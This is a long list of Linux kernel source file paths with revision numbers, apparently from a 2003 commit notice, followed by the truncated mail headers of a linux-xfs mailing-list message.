1.4 linux/sound/oss/pas2_midi.c - 1.5 linux/sound/oss/pas2_card.c - 1.6 linux/sound/oss/opl3sa2.c - 1.12 linux/sound/oss/opl3sa.c - 1.3 linux/sound/oss/nm256_audio.c - 1.9 linux/sound/oss/nec_vrc5477.c - 1.11 linux/sound/oss/mpu401.c - 1.10 linux/sound/oss/midibuf.c - 1.6 linux/sound/oss/maui.c - 1.4 linux/sound/oss/maestro.c - 1.16 linux/sound/oss/mad16.c - 1.8 linux/sound/oss/ite8172.c - 1.11 linux/sound/oss/i810_audio.c - 1.17 linux/sound/oss/gus_wave.c - 1.8 linux/sound/oss/gus_midi.c - 1.5 linux/sound/oss/gus_card.c - 1.5 linux/sound/oss/es1371.c - 1.16 linux/sound/oss/es1370.c - 1.15 linux/sound/oss/emu10k1/main.c - 1.8 linux/sound/oss/emu10k1/efxmgr.c - 1.5 linux/sound/oss/dmasound/dmasound_q40.c - 1.7 linux/sound/oss/dmasound/dmasound_core.c - 1.10 linux/sound/oss/dmasound/dmasound_awacs.c - 1.8 linux/sound/oss/dmasound/dmasound_atari.c - 1.7 linux/sound/oss/dmabuf.c - 1.5 linux/arch/ppc/platforms/pmac_feature.c - 1.8 linux/arch/ppc/platforms/pmac_setup.c - 1.12 linux/sound/oss/cs46xx.c - 1.15 linux/sound/oss/cs4232.c - 1.9 linux/sound/oss/btaudio.c - 1.11 linux/arch/x86_64/defconfig - 1.20 linux/arch/x86_64/ia32/ia32_binfmt.c - 1.15 linux/arch/x86_64/ia32/ia32entry.S - 1.17 linux/arch/x86_64/ia32/sys_ia32.c - 1.25 linux/arch/x86_64/kernel/Makefile - 1.20 linux/arch/x86_64/kernel/apic.c - 1.19 linux/arch/x86_64/kernel/io_apic.c - 1.11 linux/arch/x86_64/kernel/ioport.c - 1.8 linux/arch/x86_64/kernel/irq.c - 1.15 linux/arch/x86_64/kernel/ldt.c - 1.11 linux/arch/x86_64/kernel/mpparse.c - 1.11 linux/arch/x86_64/kernel/msr.c - 1.9 linux/arch/x86_64/kernel/nmi.c - 1.15 linux/arch/x86_64/kernel/pci-dma.c - 1.7 linux/arch/x86_64/kernel/process.c - 1.21 linux/arch/x86_64/kernel/setup.c - 1.16 linux/arch/x86_64/kernel/setup64.c - 1.16 linux/arch/x86_64/kernel/smp.c - 1.15 linux/arch/x86_64/kernel/smpboot.c - 1.18 linux/arch/x86_64/kernel/sys_x86_64.c - 1.10 linux/arch/x86_64/kernel/traps.c - 1.20 linux/arch/x86_64/kernel/x8664_ksyms.c - 1.16 linux/sound/oss/awe_wave.c - 1.8 linux/sound/oss/ad1848.c - 1.13 linux/sound/oss/ad1816.c - 1.8 linux/sound/isa/opl3sa2.c - 1.18 linux/sound/isa/gus/gusmax.c - 1.8 linux/sound/isa/gus/gusextreme.c - 1.7 linux/sound/isa/gus/gusclassic.c - 1.7 linux/sound/drivers/opl3/opl3_lib.c - 1.10 linux/sound/core/timer.c - 1.17 linux/sound/core/seq/seq_clientmgr.c - 1.15 linux/sound/core/oss/pcm_plugin.h - 1.4 linux/sound/core/oss/pcm_plugin.c - 1.7 linux/sound/core/oss/pcm_oss.c - 1.20 linux/include/asm-x86_64/processor.h - 1.19 linux/include/asm-x86_64/pci.h - 1.11 linux/include/asm-x86_64/mpspec.h - 1.7 linux/include/asm-x86_64/io_apic.h - 1.7 linux/include/asm-x86_64/io.h - 1.9 linux/include/asm-x86_64/ia32_unistd.h - 1.5 linux/include/asm-x86_64/desc.h - 1.10 linux/include/asm-x86_64/bitops.h - 1.9 linux/include/sound/version.h - 1.20 linux/include/sound/emu10k1.h - 1.13 linux/include/sound/ac97_codec.h - 1.16 linux/include/asm-x86_64/siginfo.h - 1.4 linux/include/asm-x86_64/smp.h - 1.10 linux/include/asm-ppc/pmac_feature.h - 1.4 linux/include/asm-x86_64/unistd.h - 1.17 linux/arch/ppc64/mm/init.c - 1.20 linux/arch/ppc64/kernel/Makefile - 1.19 linux/arch/ppc64/kernel/htab.c - 1.14 linux/arch/ppc64/kernel/ioctl32.c - 1.21 linux/arch/ppc64/kernel/irq.c - 1.14 linux/arch/ppc64/kernel/open_pic.c - 1.11 linux/arch/ppc64/kernel/open_pic.h - 1.2 linux/arch/ppc64/kernel/pacaData.c - 1.7 linux/arch/ppc64/kernel/prom.c - 1.18 linux/arch/ppc64/kernel/rtasd.c - 1.8 linux/arch/ppc64/kernel/setup.c - 1.15 linux/arch/ppc64/kernel/smp.c - 1.22 linux/arch/ppc64/kernel/xics.c - 1.13 linux/include/asm-ppc64/mmu_context.h - 1.6 linux/include/asm-ppc64/tlb.h - 1.6 linux/include/asm-ppc64/smp.h - 1.10 linux/drivers/net/e1000/e1000_main.c - 1.25 linux/drivers/net/tokenring/3c359.c - 1.10 linux/fs/jfs/inode.c - 1.25 linux/fs/jfs/jfs_imap.c - 1.16 linux/fs/jfs/namei.c - 1.20 linux/arch/arm/mach-sa1100/badge4.c - 1.12 linux/Documentation/networking/driver.txt - 1.2 linux/drivers/net/tg3.c - 1.26 linux/drivers/net/tulip/de2104x.c - 1.12 linux/drivers/net/tulip/de4x5.c - 1.15 linux/drivers/net/tulip/dmfe.c - 1.10 linux/drivers/net/tulip/winbond-840.c - 1.14 linux/drivers/net/tulip/xircom_cb.c - 1.10 linux/drivers/net/tulip/xircom_tulip_cb.c - 1.8 linux/drivers/net/wan/hdlc_fr.c - 1.8 linux/drivers/net/e100/e100_main.c - 1.26 linux/arch/ia64/sn/kernel/irq.c - 1.6 linux/arch/ia64/sn/kernel/setup.c - 1.13 linux/arch/ia64/sn/fakeprom/fw-emu.c - 1.6 linux/Documentation/BK-usage/bk-kernel-howto.txt - 1.6 linux/include/asm-i386/acpi.h - 1.6 linux/drivers/net/wan/comx-hw-munich.c - 1.12 linux/drivers/ieee1394/eth1394.c - 1.14 linux/drivers/net/tc35815.c - 1.12 linux/drivers/net/sb1250-mac.c - 1.7 linux/drivers/usb/class/cdc-acm.c - 1.24 linux/drivers/usb/core/devio.c - 1.17 linux/drivers/usb/core/hcd.c - 1.28 linux/drivers/usb/core/hcd.h - 1.19 linux/drivers/usb/core/hub.c - 1.29 linux/drivers/usb/core/usb.c - 1.39 linux/arch/arm/mach-pxa/lubbock.c - 1.10 linux/drivers/usb/host/ehci-q.c - 1.22 linux/fs/partitions/efi.h - 1.5 linux/drivers/usb/media/stv680.c - 1.14 linux/drivers/base/sys.c - 1.13 linux/drivers/base/power.c - 1.11 linux/drivers/base/base.h - 1.19 linux/drivers/usb/media/usbvideo.c - 1.14 linux/drivers/usb/media/dabusb.c - 1.16 linux/drivers/usb/media/ov511.c - 1.17 linux/drivers/usb/media/ov511.h - 1.6 linux/drivers/usb/media/se401.c - 1.17 linux/drivers/usb/net/usbnet.c - 1.27 linux/drivers/usb/net/rtl8150.c - 1.20 linux/drivers/usb/net/pegasus.c - 1.20 linux/drivers/usb/net/kaweth.c - 1.21 linux/drivers/usb/net/catc.c - 1.13 linux/drivers/usb/misc/tiglusb.c - 1.15 linux/include/asm-x86_64/percpu.h - 1.7 linux/include/asm-arm/proc-armv/tlbflush.h - 1.5 linux/arch/ia64/hp/sim/hpsim_setup.c - 1.5 linux/arch/ia64/hp/sim/Makefile - 1.5 linux/include/asm-ia64/tlbflush.h - 1.5 linux/drivers/isdn/hardware/avm/avm_cs.c - 1.6 linux/fs/ntfs/compress.c - 1.10 linux/sound/pci/rme32.c - 1.13 linux/sound/arm/sa11xx-uda1341.c - 1.12 linux/fs/ntfs/aops.c - 1.14 linux/drivers/bluetooth/bluecard_cs.c - 1.9 linux/arch/i386/pci/acpi.c - 1.6 linux/drivers/net/wan/pc300_drv.c - 1.8 linux/drivers/net/wireless/orinoco_pci.c - 1.7 linux/net/ipv6/ipv6_syms.c - 1.13 linux/drivers/bluetooth/dtl1_cs.c - 1.9 linux/mm/page-writeback.c - 1.28 linux/include/linux/buffer_head.h - 1.24 linux/include/asm-i386/suspend.h - 1.7 linux/Documentation/swsusp.txt - 1.6 linux/include/asm-generic/siginfo.h - 1.7 linux/drivers/base/bus.c - 1.19 linux/drivers/video/cfbimgblt.c - 1.11 linux/drivers/video/tridentfb.c - 1.9 linux/include/linux/suspend.h - 1.11 linux/fs/mpage.c - 1.21 linux/drivers/usb/core/message.c - 1.23 linux/drivers/acpi/bus.c - 1.14 linux/drivers/acpi/pci_link.c - 1.10 linux/drivers/acpi/pci_irq.c - 1.15 linux/drivers/acpi/processor.c - 1.23 linux/drivers/acpi/osl.c - 1.23 linux/include/asm-s390/tlbflush.h - 1.7 linux/drivers/usb/core/hcd-pci.c - 1.14 linux/arch/i386/kernel/cpu/proc.c - 1.10 linux/arch/i386/kernel/cpu/intel.c - 1.16 linux/arch/i386/kernel/cpu/cyrix.c - 1.8 linux/include/asm-i386/agp.h - 1.2 linux/sound/pci/rme9652/hdsp.c - 1.15 linux/drivers/isdn/hisax/avma1_cs.c - 1.7 linux/drivers/input/serio/i8042.h - 1.5 linux/drivers/input/gameport/fm801-gp.c - 1.5 linux/drivers/input/gameport/vortex.c - 1.5 linux/drivers/usb/core/file.c - 1.8 linux/include/linux/sunrpc/timer.h - 1.3 linux/drivers/acpi/toshiba_acpi.c - 1.10 linux/drivers/input/joystick/joydump.c - 1.3 linux/net/sunrpc/timer.c - 1.3 linux/drivers/usb/serial/io_ti.c - 1.14 linux/drivers/char/agp/ali-agp.c - 1.10 linux/drivers/char/agp/sis-agp.c - 1.11 linux/drivers/serial/8250_pnp.c - 1.8 linux/drivers/char/agp/sworks-agp.c - 1.10 linux/drivers/char/agp/via-agp.c - 1.12 linux/drivers/bluetooth/bt3c_cs.c - 1.10 linux/drivers/serial/sunzilog.c - 1.15 linux/drivers/serial/sunsab.c - 1.9 linux/drivers/serial/sunsu.c - 1.16 linux/drivers/usb/class/usblp.c - 1.14 linux/drivers/input/misc/uinput.c - 1.7 linux/fs/aio.c - 1.17 linux/arch/i386/kernel/cpu/mtrr/generic.c - 1.6 linux/arch/alpha/vmlinux.lds.S - 1.11 linux/arch/i386/kernel/cpu/mtrr/main.c - 1.7 linux/drivers/base/class.c - 1.14 linux/include/asm-i386/numaq.h - 1.8 linux/drivers/ide/ppc/pmac.c - 1.10 linux/drivers/ide/pci/trm290.c - 1.9 linux/drivers/ide/pci/siimage.c - 1.10 linux/drivers/ide/pci/pdc202xx_old.c - 1.11 linux/drivers/ide/pci/hpt366.c - 1.14 linux/include/asm-um/smp.h - 1.3 linux/drivers/ide/pci/amd74xx.c - 1.15 linux/drivers/ide/pci/alim15x3.c - 1.9 linux/drivers/ide/legacy/umc8672.c - 1.6 linux/drivers/ide/legacy/qd65xx.c - 1.5 linux/drivers/ide/legacy/pdc4030.c - 1.11 linux/drivers/ide/legacy/ide-cs.c - 1.8 linux/drivers/ide/legacy/ht6560b.c - 1.5 linux/drivers/ide/legacy/hd.c - 1.16 linux/drivers/ide/legacy/dtc2278.c - 1.5 linux/drivers/ide/legacy/ali14xx.c - 1.5 linux/arch/um/drivers/net_kern.c - 1.7 linux/arch/um/kernel/Makefile - 1.9 linux/arch/um/kernel/irq.c - 1.9 linux/arch/um/kernel/smp.c - 1.7 linux/arch/um/kernel/um_arch.c - 1.6 linux/drivers/ide/arm/icside.c - 1.6 linux/drivers/char/vt_ioctl.c - 1.9 linux/arch/ppc64/vmlinux.lds.S - 1.9 linux/arch/x86_64/vmlinux.lds.S - 1.12 linux/arch/m68k/vmlinux.lds.S - 1.3 linux/arch/arm/vmlinux.lds.S - 1.3 linux/arch/sparc64/vmlinux.lds.S - 1.11 linux/arch/sparc/vmlinux.lds.S - 1.12 linux/arch/ppc/vmlinux.lds.S - 1.12 linux/arch/s390/vmlinux.lds.S - 1.13 linux/arch/mips/vmlinux.lds.S - 1.8 linux/arch/i386/kernel/reboot.c - 1.7 linux/arch/i386/mach-visws/mpparse.c - 1.4 linux/drivers/base/platform.c - 1.7 linux/sound/sparc/cs4231.c - 1.6 linux/sound/sparc/amd7930.c - 1.6 linux/include/asm-i386/topology.h - 1.6 linux/sound/pci/cs46xx/dsp_spos.c - 1.8 linux/sound/pci/ac97/ac97_patch.h - 1.8 linux/sound/pci/ac97/ac97_patch.c - 1.10 linux/kernel/cpufreq.c - 1.17 linux/include/asm-x86_64/topology.h - 1.4 linux/arch/i386/kernel/cpu/cpufreq/p4-clockmod.c - 1.12 linux/sound/usb/usbmixer.c - 1.9 linux/sound/usb/usbaudio.h - 1.10 linux/sound/usb/usbaudio.c - 1.14 linux/sound/pci/via82xx.c - 1.13 linux/sound/pci/ice1712/ice1712.c - 1.11 linux/drivers/usb/serial/console.c - 1.4 linux/drivers/usb/misc/usbtest.c - 1.15 linux/drivers/scsi/nsp32_io.h - 1.3 linux/drivers/scsi/nsp32_debug.c - 1.2 linux/drivers/scsi/nsp32.h - 1.3 linux/drivers/scsi/nsp32.c - 1.14 linux/drivers/scsi/aacraid/linit.c - 1.14 linux/drivers/scsi/aacraid/aacraid.h - 1.6 linux/drivers/i2c/scx200_i2c.c - 1.4 linux/kernel/workqueue.c - 1.7 linux/fs/cifs/cifs_debug.c - 1.11 linux/fs/cifs/cifsfs.c - 1.16 linux/fs/cifs/cifsglob.h - 1.10 linux/fs/cifs/cifspdu.h - 1.9 linux/fs/cifs/cifsproto.h - 1.13 linux/fs/cifs/cifssmb.c - 1.15 linux/fs/cifs/connect.c - 1.16 linux/fs/cifs/dir.c - 1.7 linux/fs/cifs/file.c - 1.13 linux/fs/cifs/inode.c - 1.13 linux/fs/cifs/CHANGES - 1.14 linux/fs/cifs/transport.c - 1.13 linux/arch/i386/kernel/timers/timer_tsc.c - 1.15 linux/include/linux/rcupdate.h - 1.3 linux/drivers/oprofile/buffer_sync.c - 1.15 linux/drivers/oprofile/oprofile_files.c - 1.4 linux/drivers/oprofile/oprofile_stats.c - 1.5 linux/drivers/oprofile/oprofile_stats.h - 1.3 linux/drivers/oprofile/oprofilefs.c - 1.5 linux/include/asm-x86_64/proto.h - 1.13 linux/include/asm-x86_64/pci-direct.h - 1.2 linux/fs/afs/volume.c - 1.2 linux/kernel/rcupdate.c - 1.5 linux/arch/x86_64/kernel/pci-nommu.c - 1.3 linux/include/linux/oprofile.h - 1.6 linux/arch/i386/oprofile/nmi_int.c - 1.12 linux/arch/i386/oprofile/op_model_athlon.c - 1.6 linux/arch/i386/oprofile/op_model_ppro.c - 1.6 linux/arch/i386/oprofile/op_x86_model.h - 1.3 linux/arch/x86_64/kernel/pci-gart.c - 1.13 linux/fs/afs/volume.h - 1.2 linux/fs/afs/super.c - 1.4 linux/arch/x86_64/kernel/reboot.c - 1.6 linux/arch/x86_64/kernel/aperture.c - 1.5 linux/fs/sysfs/Makefile - 1.5 linux/drivers/pnp/core.c - 1.11 linux/include/asm-x86_64/nmi.h - 1.4 linux/include/linux/sysfs.h - 1.11 linux/drivers/pnp/isapnp/core.c - 1.16 linux/include/linux/pnp.h - 1.14 linux/drivers/mtd/maps/Kconfig - 1.7 linux/Documentation/crypto/api-intro.txt - 1.7 linux/drivers/net/Kconfig - 1.19 linux/drivers/mtd/devices/Kconfig - 1.3 linux/drivers/net/irda/Kconfig - 1.8 linux/arch/alpha/Kconfig - 1.18 linux/arch/arm/Kconfig - 1.18 linux/drivers/net/tulip/Kconfig - 1.5 linux/net/ipv4/Kconfig - 1.10 linux/arch/i386/Kconfig - 1.27 linux/drivers/net/wan/Kconfig - 1.7 linux/drivers/media/video/Kconfig - 1.8 linux/drivers/net/wireless/Kconfig - 1.9 linux/arch/i386/mach-voyager/voyager_smp.c - 1.8 linux/include/linux/crypto.h - 1.7 linux/drivers/media/dvb/dvb-core/dvbdev.c - 1.9 linux/scripts/kconfig/Makefile - 1.6 linux/scripts/Makefile.build - 1.12 linux/drivers/char/Kconfig - 1.11 linux/arch/parisc/kernel/smp.c - 1.7 linux/include/linux/pfkeyv2.h - 1.9 linux/drivers/char/agp/Kconfig - 1.11 linux/arch/ppc64/Kconfig - 1.15 linux/drivers/scsi/pcmcia/Kconfig - 1.5 linux/drivers/ide/Kconfig - 1.15 linux/fs/befs/btree.c - 1.6 linux/fs/Kconfig - 1.15 linux/net/sctp/Kconfig - 1.5 linux/crypto/Kconfig - 1.9 linux/crypto/Makefile - 1.8 linux/crypto/cipher.c - 1.6 linux/crypto/des.c - 1.6 linux/crypto/tcrypt.c - 1.10 linux/crypto/tcrypt.h - 1.7 linux/net/Kconfig - 1.10 linux/drivers/acpi/Kconfig - 1.9 linux/drivers/usb/storage/Kconfig - 1.3 linux/net/ipv6/Kconfig - 1.7 linux/include/net/xfrm.h - 1.19 linux/init/Kconfig - 1.13 linux/fs/hugetlbfs/inode.c - 1.14 linux/include/linux/node.h - 1.3 linux/drivers/base/node.c - 1.9 linux/arch/v850/vmlinux.lds.S - 1.11 linux/arch/m68knommu/kernel/Makefile - 1.6 linux/arch/m68knommu/vmlinux.lds.S - 1.10 linux/arch/v850/kernel/Makefile - 1.7 linux/drivers/net/b44.c - 1.6 linux/Documentation/kbuild/kconfig-language.txt - 1.4 linux/crypto/hmac.c - 1.3 linux/crypto/blowfish.c - 1.3 linux/arch/ppc/syslib/Makefile - 1.8 linux/drivers/scsi/scsi_sysfs.c - 1.14 linux/include/linux/compat.h - 1.7 linux/drivers/s390/char/sclp.c - 1.5 linux/drivers/mca/mca-bus.c - 1.3 linux/drivers/mca/mca-device.c - 1.2 linux/drivers/mca/mca-legacy.c - 1.3 linux/drivers/mca/mca-proc.c - 1.2 linux/drivers/usb/serial/generic.c - 1.5 linux/drivers/usb/serial/kobil_sct.c - 1.10 linux/drivers/char/agp/amd-k7-agp.c - 1.9 linux/drivers/char/agp/backend.c - 1.8 linux/drivers/char/agp/generic.c - 1.10 linux/crypto/twofish.c - 1.3 linux/crypto/serpent.c - 1.3 linux/crypto/proc.c - 1.3 linux/crypto/crypto_null.c - 1.3 linux/fs/compat.c - 1.9 linux/drivers/char/agp/intel-agp.c - 1.11 linux/drivers/char/watchdog/advantechwdt.c - 1.6 linux/kernel/compat.c - 1.13 linux/kernel/params.c - 1.4 linux/drivers/net/r8169.c - 1.8 linux/drivers/char/watchdog/sbc60xxwdt.c - 1.10 linux/include/linux/xfrm.h - 1.11 linux/drivers/char/watchdog/w83877f_wdt.c - 1.8 linux/Documentation/sound/alsa/ALSA-Configuration.txt - 1.7 linux/arch/um/kernel/tt/process_kern.c - 1.4 linux/drivers/i2c/chips/Makefile - 1.6 linux/drivers/i2c/chips/adm1021.c - 1.10 linux/arch/um/kernel/skas/process_kern.c - 1.4 linux/include/asm-ia64/intrinsics.h - 1.6 linux/include/asm-i386/mach-summit/mach_mpparse.h - 1.7 linux/include/asm-i386/mach-summit/mach_ipi.h - 1.3 linux/include/asm-i386/mach-summit/mach_apic.h - 1.9 linux/include/asm-i386/mach-numaq/mach_ipi.h - 1.2 linux/include/asm-i386/mach-numaq/mach_apic.h - 1.8 linux/include/asm-i386/mach-default/mach_ipi.h - 1.3 linux/include/asm-i386/mach-default/mach_apic.h - 1.7 linux/drivers/scsi/aic7xxx/aic79xx_osm.c - 1.12 linux/drivers/scsi/aic7xxx/aic7xxx_osm.c - 1.14 linux/crypto/aes.c - 1.3 linux/drivers/scsi/zalon.c - 1.5 linux/drivers/char/watchdog/alim7101_wdt.c - 1.5 linux/arch/ppc/platforms/4xx/Kconfig - 1.2 linux/drivers/char/watchdog/sc520_wdt.c - 1.10 linux/drivers/net/amd8111e.c - 1.8 linux/include/asm-i386/mach-bigsmp/mach_ipi.h - 1.3 linux/net/sunrpc/auth_gss/gss_krb5_crypto.c - 1.3 linux/drivers/char/ipmi/ipmi_kcs_intf.c - 1.8 linux/include/asm-i386/mach-bigsmp/mach_apic.h - 1.7 linux/drivers/char/ipmi/ipmi_watchdog.c - 1.4 linux/include/linux/eisa.h - 1.6 linux/arch/alpha/kernel/core_marvel.c - 1.9 linux/arch/sparc64/kernel/us3_cpufreq.c - 1.5 linux/arch/alpha/kernel/err_titan.c - 1.4 linux/drivers/eisa/eisa-bus.c - 1.8 linux/arch/alpha/kernel/sys_marvel.c - 1.4 linux/arch/um/vmlinux.lds.S - 1.2 linux/drivers/pci/pci-sysfs.c - 1.4 linux/mm/fadvise.c - 1.6 linux/include/acpi/acconfig.h - 1.9 linux/Documentation/sound/alsa/DocBook/writing-an-alsa-driver.tmpl - 1.8 linux/include/acpi/acpi_drivers.h - 1.4 linux/arch/arm/common/sa1111.c - 1.9 linux/arch/i386/oprofile/op_model_p4.c - 1.5 linux/arch/i386/kernel/cpu/cpufreq/powernow-k7.c - 1.9 linux/drivers/acpi/sleep/proc.c - 1.3 linux/drivers/acpi/sleep/main.c - 1.6 linux/arch/x86_64/mm/k8topology.c - 1.4 linux/drivers/net/tokenring/proteon.c - 1.4 linux/drivers/net/tokenring/skisa.c - 1.4 linux/drivers/eisa/virtual_root.c - 1.4 linux/drivers/net/typhoon.c - 1.7 linux/arch/x86_64/mm/numa.c - 1.6 linux/arch/i386/kernel/acpi/boot.c - 1.4 linux/arch/i386/kernel/acpi/Makefile - 1.3 linux/drivers/net/wireless/arlan.c - 1.4 linux/drivers/bluetooth/btuart_cs.c - 1.4 linux/arch/i386/kernel/doublefault.c - 1.2 linux/drivers/net/wireless/strip.c - 1.5 linux/include/asm-i386/mach-visws/mach_apic.h - 1.4 linux/scripts/genksyms/Makefile - 1.3 linux/fs/sysfs/bin.c - 1.8 linux/fs/sysfs/dir.c - 1.4 linux/drivers/video/cg14.c - 1.5 linux/fs/sysfs/file.c - 1.6 linux/drivers/video/ffb.c - 1.6 linux/init/do_mounts.h - 1.4 linux/fs/sysfs/sysfs.h - 1.2 linux/include/asm-ia64/rwsem.h - 1.2 linux/Documentation/hw_random.txt - 1.2 linux/net/ipv6/ah6.c - 1.10 linux/drivers/i2c/busses/i2c-piix4.c - 1.6 linux/drivers/video/leo.c - 1.4 linux/net/ipv6/esp6.c - 1.10 linux/sound/pci/ice1712/ice1724.c - 1.5 linux/net/ipv4/xfrm4_input.c - 1.6 linux/net/xfrm/xfrm_user.c - 1.8 linux/net/xfrm/xfrm_algo.c - 1.4 linux/net/xfrm/Makefile - 1.3 linux/net/xfrm/Kconfig - 1.2 linux/arch/sparc64/kernel/us2e_cpufreq.c - 1.2 linux/include/asm-ppc/macio_asic.h - 1.2 linux/arch/x86_64/kernel/acpi/boot.c - 1.4 linux/include/asm-h8300/atomic.h - 1.3 linux/include/asm-h8300/bitops.h - 1.3 linux/arch/h8300/Kconfig - 1.6 linux/arch/h8300/Makefile - 1.4 linux/arch/h8300/kernel/Makefile - 1.2 linux/arch/h8300/kernel/signal.c - 1.3 linux/arch/h8300/kernel/syscalls.S - 1.3 linux/arch/h8300/platform/h8300h/aki3068net/timer.c - 1.3 linux/arch/h8300/platform/h8300h/entry.S - 1.3 linux/arch/h8300/platform/h8300h/generic/crt0_rom.S - 1.3 linux/arch/h8300/platform/h8300h/h8max/timer.c - 1.3 linux/arch/h8300/platform/h8300h/ints.c - 1.3 linux/arch/h8300/vmlinux.lds.S - 1.3 linux/include/asm-h8300/h8300_ne.h - 1.2 linux/include/asm-h8300/h8max/ide.h - 1.2 linux/net/ipv4/xfrm4_tunnel.c - 1.5 linux/include/asm-h8300/hardirq.h - 1.3 linux/include/asm-ia64/sn/sn2/io.h - 1.4 linux/include/asm-h8300/ide.h - 1.2 linux/include/asm-h8300/io.h - 1.3 linux/net/ipv4/ipcomp.c - 1.7 linux/arch/ia64/sn/kernel/sn2/io.c - 1.3 linux/include/asm-h8300/timex.h - 1.2 linux/include/asm-h8300/system.h - 1.3 linux/include/asm-h8300/semaphore.h - 1.3 linux/include/asm-h8300/processor.h - 1.4 linux/drivers/net/ixgb/ixgb_main.c - 1.5 linux/drivers/scsi/dc395x.c - 1.8 linux/drivers/scsi/dc395x.h - 1.3 linux/drivers/char/agp/uninorth-agp.c - 1.2 linux/include/asm-i386/genapic.h - 1.3 linux/drivers/net/arm/ether00.c - 1.3 linux/drivers/net/arm/ether1.c - 1.3 linux/drivers/net/arm/ether3.c - 1.3 linux/drivers/net/arm/etherh.c - 1.3 linux/drivers/net/bonding/bond_main.c - 1.4 linux/drivers/usb/gadget/ether.c - 1.4 linux/drivers/atm/he.c - 1.6 linux/drivers/scsi/scsi_priv.h - 1.5 linux/drivers/char/agp/nvidia-agp.c - 1.4 linux/net/ipv6/ipcomp6.c - 1.5 linux/net/atm/br2684.c - 1.4 linux/drivers/scsi/arm/scsi.h - 1.2 linux/arch/i386/mach-generic/bigsmp.c - 1.2 linux/arch/i386/mach-generic/default.c - 1.3 linux/arch/i386/mach-generic/probe.c - 1.2 linux/arch/i386/mach-generic/summit.c - 1.2 linux/net/core/net-sysfs.c - 1.6 linux/include/linux/topology.h - 1.2 linux/include/linux/sysdev.h - 1.3 linux/sound/pci/azt3328.c - 1.3 linux/arch/arm/common/platform.c - 1.2 linux/net/ipv6/ip6_tunnel.c - 1.4 linux/drivers/net/wireless/atmel.c - 1.3 linux/drivers/net/wireless/atmel_cs.c - 1.3 linux/drivers/net/wireless/orinoco_tmd.c - 1.3 linux/arch/arm26/kernel/Makefile - 1.3 linux/arch/arm26/vmlinux.lds.S - 1.2 linux/drivers/pci/hotplug/cpqphp_core.c - 1.4 linux/drivers/pci/hotplug/cpqphp_nvram.c - 1.2 linux/arch/i386/kernel/summit.c - 1.2 linux/net/ipv4/esp4.c - 1.4 linux/net/ipv4/ah4.c - 1.4 linux/sound/parisc/harmony.c - 1.2 linux/include/asm-i386/mach-es7000/mach_apic.h - 1.2 linux/drivers/input/serio/pcips2.c - 1.2 linux/include/asm-i386/mach-es7000/mach_ipi.h - 1.2 linux/Documentation/firmware_class/README - 1.2 linux/include/asm-ia64/perfmon_default_smpl.h - 1.2 linux/drivers/base/Kconfig - 1.2 linux/arch/arm/common/amba.c - 1.2 linux/drivers/base/firmware_class.c - 1.3 linux/drivers/pcmcia/yenta_socket.c - 1.6 linux/fs/Kconfig.binfmt - 1.3 linux/arch/i386/kernel/acpi/acpitable.c - 1.2 linux/arch/i386/kernel/acpi/acpitable.h - 1.2 linux/include/scsi/scsi_host.h - 1.3 linux/include/scsi/scsi_device.h - 1.4 linux/arch/ia64/kernel/perfmon_default_smpl.c - 1.2 linux/arch/ia64/ia32/ia32priv.h - 1.3 linux/arch/i386/kernel/cpu/cpufreq/speedstep-lib.c - 1.2 linux/drivers/net/meth.c - 1.2 linux/drivers/pcmcia/au1000_generic.c - 1.2 linux/drivers/scsi/NCR_Q720.c - 1.3 linux/arch/mips/sgi-ip27/ip27-init.c - 1.3 linux/arch/mips/sibyte/cfe/smp.c - 1.3 linux/arch/mips/sibyte/sb1250/smp.c - 1.3 linux/drivers/block/as-iosched.c - 1.5 linux/fs/cifs/cifsencrypt.c - 1.3 linux/net/ipv4/ipvs/ip_vs_sched.c - 1.2 linux/sound/oss/swarm_cs4297a.c - 1.3 linux/net/ipv4/ipvs/ip_vs_core.c - 1.2 linux/sound/oss/forte.c - 1.3 linux/sound/oss/au1000.c - 1.2 linux/net/ipv4/ipvs/Kconfig - 1.4 linux/sound/oss/ali5455.c - 1.3 linux/sound/oss/ad1889.c - 1.4 linux/sound/oss/ac97_plugin_ad1980.c - 1.3 linux/drivers/block/cryptoloop.c - 1.3 linux/sound/oss/kahlua.c - 1.3 linux/sound/oss/harmony.c - 1.3 linux/sound/oss/hal2.c - 1.3 linux/drivers/block/Kconfig.iosched - 1.2 linux/drivers/net/zorro8390.c - 1.2 linux/drivers/net/wireless/wl3501_cs.c - 1.3 linux/drivers/media/dvb/ttusb-dec/ttusb_dec.c - 1.3 linux/drivers/media/dvb/ttusb-budget/dvb-ttusb-budget.c - 1.3 linux/include/asm-alpha/local.h - 1.2 linux/include/asm-sparc64/local.h - 1.2 linux/security/selinux/ss/policydb.c - 1.2 linux/security/selinux/ss/global.h - 1.2 linux/drivers/i2c/busses/i2c-nforce2.c - 1.2 linux/security/selinux/include/objsec.h - 1.2 linux/security/selinux/hooks.c - 1.2 linux/security/selinux/avc.c - 1.2 linux/scripts/split-man - 1.2 linux/arch/alpha/boot/bootpz.c - 1.2 linux/scripts/mkconfigs - 1.2 linux/scripts/makeman - 1.2 linux/arch/h8300/platform/h8s/edosk2674/crt0_ram.S - 1.2 linux/arch/h8300/platform/h8s/generic/crt0_rom.S - 1.2 linux/arch/h8300/platform/h8s/generic/rom.ld - 1.2 linux/arch/h8300/platform/h8s/generic/timer.c - 1.2 linux/kernel/power/swsusp.c - 1.2 linux/kernel/power/process.c - 1.2 linux/kernel/power/power.h - 1.2 linux/kernel/power/console.c - 1.2 linux/kernel/power/Makefile - 1.2 linux/kernel/configs.c - 1.2 linux/include/asm-mips/local.h - 1.2 linux/arch/h8300/platform/h8s/edosk2674/timer.c - 1.2 linux/arch/h8300/platform/h8s/entry.S - 1.2 linux/arch/h8300/platform/h8s/generic/crt0_ram.S - 1.2 linux/arch/h8300/platform/h8s/ints.c - 1.2 From owner-linux-xfs@oss.sgi.com Wed Sep 10 13:18:58 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Wed, 10 Sep 2003 13:19:18 -0700 (PDT) Received: from zok.sgi.com (zok.SGI.COM [204.94.215.101]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8AKIwx4020328 for ; Wed, 10 Sep 2003 13:18:58 -0700 Received: from flecktone.americas.sgi.com (flecktone.americas.sgi.com [192.48.203.135]) by zok.sgi.com (8.12.9/8.12.9/linux-outbound_gateway-1.1) with ESMTP id h8AKIpq0014038 for ; Wed, 10 Sep 2003 13:18:52 -0700 Received: from daisy-e236.americas.sgi.com (daisy-e236.americas.sgi.com [128.162.236.214]) by flecktone.americas.sgi.com (8.12.9/8.12.9/generic_config-1.2) with ESMTP id 